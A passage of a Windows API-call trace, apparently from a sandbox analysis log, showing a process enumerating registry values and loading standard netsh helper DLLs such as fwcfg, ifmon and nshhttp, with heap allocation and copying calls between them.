lpMem=0x2e6ff0 | out: hHeap=0x2c0000) returned 1 [0044.703] RegEnumValueW (in: hKey=0x90, dwIndex=0x2, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="dhcpclient", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0044.703] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0044.703] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0044.703] GetProcessHeap () returned 0x2c0000 [0044.703] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xa0) returned 0x2e6ff0 [0044.703] memcpy (in: _Dst=0x2e6ff0, _Src=0x2e23d0, _Size=0x78 | out: _Dst=0x2e6ff0) returned 0x2e6ff0 [0044.703] GetProcessHeap () returned 0x2c0000 [0044.703] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x16) returned 0x2e1dc0 [0044.703] GetProcessHeap () returned 0x2c0000 [0044.703] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x22) returned 0x2e7590 [0044.703] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0044.703] GetProcessHeap () returned 0x2c0000 [0044.704] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e23d0 | out: hHeap=0x2c0000) returned 1 [0044.704] LoadLibraryW (lpLibFileName="DHCPCMONITOR.DLL") returned 0x7fef6560000 [0044.839] GetProcAddress (hModule=0x7fef6560000, lpProcName="InitHelperDll") returned 0x7fef6561a40 [0044.839] InitHelperDll () returned 0x0 [0044.839] RegisterHelper () returned 0x0 [0044.839] GetProcessHeap () returned 0x2c0000 [0044.839] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x318) returned 0x2f6130 [0044.839] memcpy (in: _Dst=0x2f6130, _Src=0x2f1200, _Size=0x2c0 | out: _Dst=0x2f6130) returned 0x2f6130 [0044.839] memcpy (in: _Dst=0x2f63f0, _Src=0x207770, _Size=0x28 | out: _Dst=0x2f63f0) returned 0x2f63f0 [0044.839] GetProcessHeap () returned 0x2c0000 [0044.840] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f1200 | out: hHeap=0x2c0000) returned 1 [0044.840] RegEnumValueW (in: hKey=0x90, dwIndex=0x3, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="wshelper", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0044.841] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0044.841] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0044.841] GetProcessHeap () returned 0x2c0000 [0044.841] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc8) returned 0x2f1200 [0044.841] memcpy (in: _Dst=0x2f1200, _Src=0x2e6ff0, _Size=0xa0 | out: _Dst=0x2f1200) returned 0x2f1200 [0044.841] GetProcessHeap () returned 0x2c0000 [0044.841] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2f3840 [0044.841] GetProcessHeap () returned 0x2c0000 [0044.841] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2f18c0 [0044.841] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0044.841] GetProcessHeap () returned 0x2c0000 [0044.841] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e6ff0 | out: hHeap=0x2c0000) returned 1 [0044.841] LoadLibraryW (lpLibFileName="WSHELPER.DLL") returned 0x7fef6530000 [0044.986] GetProcAddress (hModule=0x7fef6530000, lpProcName="InitHelperDll") returned 0x7fef6531720 [0044.986] InitHelperDll () returned 0x0 [0045.002] RegisterHelper () returned 0x0 [0045.002] GetProcessHeap () returned 0x2c0000 [0045.002] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x370) returned 0x2f66a0 [0045.002] memcpy (in: _Dst=0x2f66a0, _Src=0x2f6130, _Size=0x318 | out: _Dst=0x2f66a0) returned 0x2f66a0 [0045.002] memcpy (in: _Dst=0x2f69b8, _Src=0x2075c0, _Size=0x28 | out: _Dst=0x2f69b8) returned 0x2f69b8 [0045.002] GetProcessHeap () returned 0x2c0000 [0045.003] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f6130 | out: hHeap=0x2c0000) returned 1 [0045.025] RegEnumValueW (in: hKey=0x90, dwIndex=0x4, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="nshhttp", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0045.025] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0045.025] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0045.026] GetProcessHeap () returned 0x2c0000 [0045.026] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xf0) returned 0x2f6130 [0045.026] memcpy (in: _Dst=0x2f6130, _Src=0x2f1200, _Size=0xc8 | out: _Dst=0x2f6130) returned 0x2f6130 [0045.026] GetProcessHeap () returned 0x2c0000 [0045.026] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2f3860 [0045.026] GetProcessHeap () returned 0x2c0000 [0045.026] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2f3880 [0045.026] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0045.026] GetProcessHeap () returned 0x2c0000 [0045.027] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f1200 | out: hHeap=0x2c0000) returned 1 [0045.027] LoadLibraryW (lpLibFileName="NSHHTTP.DLL") returned 0x7fef63c0000 [0045.194] GetProcAddress (hModule=0x7fef63c0000, lpProcName="InitHelperDll") returned 0x7fef63c1c24 [0045.194] InitHelperDll () returned 0x0 [0045.194] RegisterHelper () returned 0x0 [0045.194] GetProcessHeap () returned 0x2c0000 [0045.194] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x3c8) returned 0x2f7220 [0045.194] memcpy (in: _Dst=0x2f7220, _Src=0x2f66a0, _Size=0x370 | out: _Dst=0x2f7220) returned 0x2f7220 [0045.194] memcpy (in: _Dst=0x2f7590, _Src=0x2075c0, _Size=0x28 | out: _Dst=0x2f7590) returned 0x2f7590 [0045.194] GetProcessHeap () returned 0x2c0000 [0045.195] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f66a0 | out: hHeap=0x2c0000) returned 1 [0045.195] RegEnumValueW (in: hKey=0x90, dwIndex=0x5, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="fwcfg", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0045.195] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0045.196] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0045.196] GetProcessHeap () returned 0x2c0000 [0045.196] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x118) returned 0x2f6230 [0045.196] memcpy (in: _Dst=0x2f6230, _Src=0x2f6130, _Size=0xf0 | out: _Dst=0x2f6230) returned 0x2f6230 [0045.196] GetProcessHeap () returned 0x2c0000 [0045.196] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0xc) returned 0x2f38a0 [0045.196] GetProcessHeap () returned 0x2c0000 [0045.196] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x14) returned 0x2f38c0 [0045.196] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0045.196] GetProcessHeap () returned 0x2c0000 [0045.196] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f6130 | out: hHeap=0x2c0000) returned 1 [0045.196] LoadLibraryW (lpLibFileName="FWCFG.DLL") returned 0x7fef43f0000 [0045.360] GetProcAddress (hModule=0x7fef43f0000, lpProcName="InitHelperDll") returned 0x7fef43f2d20 [0045.360] InitHelperDll () returned 0x0 [0045.360] RegisterHelper () returned 0x0 [0045.360] GetProcessHeap () returned 0x2c0000 [0045.360] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x420) returned 0x2fb5f0 [0045.360] memcpy (in: _Dst=0x2fb5f0, _Src=0x2f7220, _Size=0x3c8 | out: _Dst=0x2fb5f0) returned 0x2fb5f0 [0045.360] memcpy (in: _Dst=0x2fb9b8, _Src=0x207770, _Size=0x28 | out: _Dst=0x2fb9b8) returned 0x2fb9b8 [0045.360] GetProcessHeap () returned 0x2c0000 [0045.361] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f7220 | out: hHeap=0x2c0000) returned 1 [0045.361] RegEnumValueW (in: hKey=0x90, dwIndex=0x6, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="authfwcfg", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0045.361] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0045.361] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0045.362] GetProcessHeap () returned 0x2c0000 [0045.362] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x140) returned 0x2f66a0 [0045.362] memcpy (in: _Dst=0x2f66a0, _Src=0x2f6230, _Size=0x118 | out: _Dst=0x2f66a0) returned 0x2f66a0 [0045.362] GetProcessHeap () returned 0x2c0000 [0045.362] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x14) returned 0x2f3900 [0045.362] GetProcessHeap () returned 0x2c0000 [0045.362] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1c) returned 0x2f6f60 [0045.362] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0045.362] GetProcessHeap () returned 0x2c0000 [0045.362] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f6230 | out: hHeap=0x2c0000) returned 1 [0045.416] LoadLibraryW (lpLibFileName="AUTHFWCFG.DLL") returned 0x7fef2d30000 [0046.630] GetProcAddress (hModule=0x7fef2d30000, lpProcName="InitHelperDll") returned 0x7fef2d35d20 [0046.630] InitHelperDll () returned 0x0 [0046.637] RegisterHelper () returned 0x0 [0046.637] GetProcessHeap () returned 0x2c0000 [0046.637] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x478) returned 0x2fee70 [0046.637] memcpy (in: _Dst=0x2fee70, _Src=0x2fb5f0, _Size=0x420 | out: _Dst=0x2fee70) returned 0x2fee70 [0046.637] memcpy (in: _Dst=0x2ff290, _Src=0x207770, _Size=0x28 | out: _Dst=0x2ff290) returned 0x2ff290 [0046.637] GetProcessHeap () returned 0x2c0000 [0046.638] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2fb5f0 | out: hHeap=0x2c0000) returned 1 [0046.638] RegisterHelper () returned 0x0 [0046.638] GetProcessHeap () returned 0x2c0000 [0046.638] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4d0) returned 0x2ff2f0 [0046.638] memcpy (in: _Dst=0x2ff2f0, _Src=0x2fee70, _Size=0x478 | out: _Dst=0x2ff2f0) returned 0x2ff2f0 [0046.638] memcpy (in: _Dst=0x2ff768, _Src=0x207770, _Size=0x28 | out: _Dst=0x2ff768) returned 0x2ff768 [0046.638] GetProcessHeap () returned 0x2c0000 [0046.639] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2fee70 | out: hHeap=0x2c0000) returned 1 [0046.639] RegisterHelper () returned 0x0 [0046.639] GetProcessHeap () returned 0x2c0000 [0046.639] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x528) returned 0x2ff7d0 [0046.639] memcpy (in: _Dst=0x2ff7d0, _Src=0x2ff2f0, _Size=0x4d0 | out: _Dst=0x2ff7d0) returned 0x2ff7d0 [0046.639] memcpy (in: _Dst=0x2ffca0, _Src=0x207770, _Size=0x28 | out: _Dst=0x2ffca0) returned 0x2ffca0 [0046.639] GetProcessHeap () returned 0x2c0000 [0046.639] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ff2f0 | out: hHeap=0x2c0000) returned 1 [0046.639] RegisterHelper () returned 0x0 [0046.639] GetProcessHeap () returned 0x2c0000 [0046.639] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x580) returned 0x2fee70 [0046.639] memcpy (in: _Dst=0x2fee70, _Src=0x2ff7d0, _Size=0x528 | out: _Dst=0x2fee70) returned 0x2fee70 [0046.639] memcpy (in: _Dst=0x2ff398, _Src=0x207770, _Size=0x28 | out: _Dst=0x2ff398) returned 0x2ff398 [0046.640] GetProcessHeap () returned 0x2c0000 [0046.640] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ff7d0 | out: hHeap=0x2c0000) returned 1 [0046.640] RegisterHelper () returned 0x0 [0046.640] GetProcessHeap () returned 0x2c0000 [0046.640] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x5d8) returned 0x2ff400 [0046.640] memcpy (in: _Dst=0x2ff400, _Src=0x2fee70, _Size=0x580 | out: _Dst=0x2ff400) returned 0x2ff400 [0046.640] memcpy (in: _Dst=0x2ff980, _Src=0x207770, _Size=0x28 | out: _Dst=0x2ff980) returned 0x2ff980 [0046.640] GetProcessHeap () returned 0x2c0000 [0046.641] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2fee70 | out: hHeap=0x2c0000) returned 1 [0046.641] RegEnumValueW (in: hKey=0x90, dwIndex=0x7, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="2", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0046.641] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0046.641] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0046.641] GetProcessHeap () returned 0x2c0000 [0046.641] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x168) returned 0x2f67f0 [0046.641] memcpy (in: _Dst=0x2f67f0, _Src=0x2f66a0, _Size=0x140 | out: _Dst=0x2f67f0) returned 0x2f67f0 [0046.641] GetProcessHeap () returned 0x2c0000 [0046.641] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4) returned 0x2e7050 [0046.641] GetProcessHeap () returned 0x2c0000 [0046.641] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x14) returned 0x2fe800 [0046.641] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0046.641] GetProcessHeap () returned 0x2c0000 [0046.642] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f66a0 | out: hHeap=0x2c0000) returned 1 [0046.642] LoadLibraryW (lpLibFileName="IFMON.DLL") returned 0x7fef3470000 [0047.224] GetProcAddress (hModule=0x7fef3470000, lpProcName="InitHelperDll") returned 0x7fef3471924 [0047.225] InitHelperDll () returned 0x0 [0047.227] RegisterHelper () returned 0x0 [0047.227] GetProcessHeap () returned 0x2c0000 [0047.227] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x630) returned 0x3011e0 [0047.227] memcpy (in: _Dst=0x3011e0, _Src=0x2ff400, _Size=0x5d8 | out: _Dst=0x3011e0) returned 0x3011e0 [0047.227] memcpy (in: _Dst=0x3017b8, _Src=0x2075c0, _Size=0x28 | out: _Dst=0x3017b8) returned 0x3017b8 [0047.227] GetProcessHeap () returned 0x2c0000 [0047.228] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ff400 | out: hHeap=0x2c0000) returned 1 [0047.228] RegEnumValueW (in: hKey=0x90, dwIndex=0x8, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="netiohlp", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0047.228] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0047.228] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0047.228] GetProcessHeap () returned 0x2c0000 [0047.228] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x190) returned 0x2f72f0 [0047.229] memcpy (in: _Dst=0x2f72f0, _Src=0x2f67f0, _Size=0x168 | out: _Dst=0x2f72f0) returned 0x2f72f0 [0047.229] GetProcessHeap () returned 0x2c0000 [0047.229] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2fe920 [0047.229] GetProcessHeap () returned 0x2c0000 [0047.229] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x300010 [0047.229] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0047.229] GetProcessHeap () returned 0x2c0000 [0047.229] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f67f0 | out: hHeap=0x2c0000) returned 1 [0047.229] LoadLibraryW (lpLibFileName="NETIOHLP.DLL") returned 0x7fef33a0000 [0047.401] GetProcAddress (hModule=0x7fef33a0000, lpProcName="InitHelperDll") returned 0x7fef33bce30 [0047.401] InitHelperDll () returned 0x0 [0047.401] RegisterHelper () returned 0x0 [0047.401] GetProcessHeap () returned 0x2c0000 [0047.401] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x688) returned 0x301820 [0047.401] memcpy (in: _Dst=0x301820, _Src=0x3011e0, _Size=0x630 | out: _Dst=0x301820) returned 0x301820 [0047.401] memcpy (in: _Dst=0x301e50, _Src=0x207770, _Size=0x28 | out: _Dst=0x301e50) returned 0x301e50 [0047.401] GetProcessHeap () returned 0x2c0000 [0047.402] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3011e0 | out: hHeap=0x2c0000) returned 1 [0047.402] RegisterHelper () returned 0x0 [0047.402] GetProcessHeap () returned 0x2c0000 [0047.402] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x6e0) returned 0x301eb0 [0047.402] memcpy (in: _Dst=0x301eb0, _Src=0x301820, _Size=0x688 | out: _Dst=0x301eb0) returned 0x301eb0 [0047.402] memcpy (in: _Dst=0x302538, _Src=0x207770, _Size=0x28 | out: _Dst=0x302538) returned 0x302538 [0047.402] GetProcessHeap () returned 0x2c0000 [0047.403] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x301820 | out: hHeap=0x2c0000) returned 1 [0047.403] RegisterHelper () returned 0x0 [0047.403] GetProcessHeap () returned 0x2c0000 [0047.403] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x738) returned 0x3025a0 [0047.403] memcpy (in: _Dst=0x3025a0, _Src=0x301eb0, _Size=0x6e0 | out: _Dst=0x3025a0) returned 0x3025a0 [0047.403] memcpy (in: _Dst=0x302c80, _Src=0x207770, _Size=0x28 | out: _Dst=0x302c80) returned 0x302c80 [0047.403] GetProcessHeap () returned 0x2c0000 [0047.404] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x301eb0 | out: hHeap=0x2c0000) returned 1 [0047.404] RegisterHelper () returned 0x0 [0047.404] GetProcessHeap () returned 0x2c0000 [0047.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x790) returned 0x3011e0 [0047.404] memcpy (in: _Dst=0x3011e0, _Src=0x3025a0, _Size=0x738 | out: _Dst=0x3011e0) returned 0x3011e0 [0047.404] memcpy (in: _Dst=0x301918, _Src=0x207770, _Size=0x28 | out: _Dst=0x301918) returned 0x301918 [0047.404] GetProcessHeap () returned 0x2c0000 [0047.404] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3025a0 | out: hHeap=0x2c0000) returned 1 [0047.404] RegisterHelper () returned 0x0 [0047.404] GetProcessHeap () returned 0x2c0000 [0047.404] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x7e8) returned 0x301980 [0047.404] memcpy (in: _Dst=0x301980, _Src=0x3011e0, _Size=0x790 | out: _Dst=0x301980) returned 0x301980 [0047.404] memcpy (in: _Dst=0x302110, _Src=0x207770, _Size=0x28 | out: _Dst=0x302110) returned 0x302110 [0047.404] GetProcessHeap () returned 0x2c0000 [0047.405] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3011e0 | out: hHeap=0x2c0000) returned 1 [0047.405] RegisterHelper () returned 0x0 [0047.405] GetProcessHeap () returned 0x2c0000 [0047.405] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x840) returned 0x302170 [0047.405] memcpy (in: _Dst=0x302170, _Src=0x301980, _Size=0x7e8 | out: _Dst=0x302170) returned 0x302170 [0047.405] memcpy (in: _Dst=0x302958, _Src=0x207770, _Size=0x28 | out: _Dst=0x302958) returned 0x302958 [0047.405] GetProcessHeap () returned 0x2c0000 [0047.406] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x301980 | out: hHeap=0x2c0000) returned 1 [0047.406] RegisterHelper () returned 0x0 [0047.406] GetProcessHeap () returned 0x2c0000 [0047.406] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x898) returned 0x3011e0 [0047.406] memcpy (in: _Dst=0x3011e0, _Src=0x302170, _Size=0x840 | out: _Dst=0x3011e0) returned 0x3011e0 [0047.406] memcpy (in: _Dst=0x301a20, _Src=0x207770, _Size=0x28 | out: _Dst=0x301a20) returned 0x301a20 [0047.406] GetProcessHeap () returned 0x2c0000 [0047.407] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x302170 | out: hHeap=0x2c0000) returned 1 [0047.407] RegisterHelper () returned 0x0 [0047.407] GetProcessHeap () returned 0x2c0000 [0047.407] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x8f0) returned 0x301a80 [0047.407] memcpy (in: _Dst=0x301a80, _Src=0x3011e0, _Size=0x898 | out: _Dst=0x301a80) returned 0x301a80 [0047.407] memcpy (in: _Dst=0x302318, _Src=0x207770, _Size=0x28 | out: _Dst=0x302318) returned 0x302318 [0047.407] GetProcessHeap () returned 0x2c0000 [0047.407] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3011e0 | out: hHeap=0x2c0000) returned 1 [0047.408] RegisterHelper () returned 0x0 [0047.408] GetProcessHeap () returned 0x2c0000 [0047.408] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x948) returned 0x302380 [0047.408] memcpy (in: _Dst=0x302380, _Src=0x301a80, _Size=0x8f0 | out: _Dst=0x302380) returned 0x302380 [0047.408] memcpy (in: _Dst=0x302c70, _Src=0x207770, _Size=0x28 | out: _Dst=0x302c70) returned 0x302c70 [0047.408] GetProcessHeap () returned 0x2c0000 [0047.408] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x301a80 | out: hHeap=0x2c0000) returned 1 [0047.408] RegEnumValueW (in: hKey=0x90, dwIndex=0x9, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="whhelper", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0047.408] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14 [0047.408] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14 [0047.408] GetProcessHeap () returned 0x2c0000 [0047.408] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1b8) returned 0x302cd0 [0047.408] memcpy (in: _Dst=0x302cd0, _Src=0x2f72f0, _Size=0x190 | out: _Dst=0x302cd0) returned 0x302cd0 [0047.408] GetProcessHeap () returned 0x2c0000 [0047.408] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x12) returned 0x2fe960 [0047.408] GetProcessHeap () returned 0x2c0000 [0047.408] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1a) returned 0x2ff170 [0047.408] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL" [0047.408] GetProcessHeap () returned 0x2c0000 [0047.409] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2f72f0 | out: hHeap=0x2c0000) returned 1 [0047.409] LoadLibraryW (lpLibFileName="WHHELPER.DLL") returned 0x7fef3460000 [0047.517] GetProcAddress (hModule=0x7fef3460000, lpProcName="InitHelperDll") returned 0x7fef346210c [0047.517] InitHelperDll () returned 0x0 [0047.517] RegisterHelper () returned 0x0 [0047.517] GetProcessHeap () returned 0x2c0000 [0047.517] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x9a0) returned 0x3011e0 [0047.517] memcpy (in: _Dst=0x3011e0, _Src=0x302380, _Size=0x948 | out: _Dst=0x3011e0) returned 0x3011e0 [0047.517] memcpy (in: _Dst=0x301b28, _Src=0x207770, _Size=0x28 | out: _Dst=0x301b28) returned 0x301b28 [0047.517] GetProcessHeap () returned 0x2c0000 [0047.518] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x302380 | out: hHeap=0x2c0000) returned 1 [0047.518] RegEnumValueW (in: hKey=0x90, dwIndex=0xa, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="hnetmon", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0047.518] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1 [0047.518] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1 [0047.518] GetProcessHeap () returned 0x2c0000 [0047.518] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x1e0) returned 0x2f72f0 [0047.518] memcpy (in: _Dst=0x2f72f0, _Src=0x302cd0, _Size=0x1b8 | out: _Dst=0x2f72f0) returned 0x2f72f0 [0047.518] GetProcessHeap () returned 0x2c0000 [0047.518] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2fe980 [0047.518] GetProcessHeap () returned 0x2c0000 [0047.518] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x18) returned 0x2fe9a0 [0047.518] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL" [0047.518] GetProcessHeap () returned 0x2c0000 [0047.518] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x302cd0 | out: hHeap=0x2c0000) returned 1 [0047.519] LoadLibraryW (lpLibFileName="HNETMON.DLL") returned 0x7fef3450000 [0048.195] GetProcAddress (hModule=0x7fef3450000, lpProcName="InitHelperDll") returned 0x7fef34522a4 [0048.195] InitHelperDll () returned 0x0 [0048.195] RegisterHelper () returned 0x0 [0048.195] GetProcessHeap () returned 0x2c0000 [0048.196] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x9f8) returned 0x303390 [0048.196] memcpy (in: _Dst=0x303390, _Src=0x3011e0, _Size=0x9a0 | out: _Dst=0x303390) returned 0x303390 [0048.196] memcpy (in: _Dst=0x303d30, _Src=0x207770, _Size=0x28 | out: _Dst=0x303d30) returned 0x303d30 [0048.196] GetProcessHeap () returned 0x2c0000 [0048.196] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x3011e0 | out: hHeap=0x2c0000) returned 1 [0048.196] RegEnumValueW (in: hKey=0x90, dwIndex=0xb, lpValueName=0x2e1d60, lpcchValueName=0x2078a0, lpReserved=0x0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8 | out: lpValueName="rpc", lpcchValueName=0x2078a0, lpType=0x0, lpData=0x2e24c0, lpcbData=0x2078e8) returned 0x0 [0048.196] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxmontr.dll") returned 9 [0048.196] _wcsicmp (_String1="rpcnsh.dll", _String2="ipxpromn.dll") returned 9 